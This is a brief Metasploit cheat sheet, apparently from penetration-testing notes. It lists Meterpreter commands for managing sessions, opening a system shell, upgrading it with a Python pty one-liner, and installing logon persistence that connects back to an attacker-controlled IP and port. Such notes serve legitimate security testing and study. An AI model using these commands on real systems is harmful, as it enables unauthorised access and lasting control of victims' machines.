Metasploit Cheat Sheets
Last modified: 2023-01-07
Msfconsole
No content yet.
Meterpreter
# List all sessions running on background
msf> sessions
# Start interacting with the session
msf> sessions <session-id>
# Drop into a system command shell
meterpreter> shell
# Upgrade to full functional shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Persistence at the target system
# -h: Help
meterpreter> run persistence -h
# -U: Automatically start when the user logs on
# -i: The interal in seconds between each connection attempt
# -p: The port on which the system running Metesploit is listening
# -r: The IP of the system running Metasploit listening for the connect back
meterpreter> run persistence -U -i 5 -p 443 -r <local-ip>
Msfvenom
No content yet.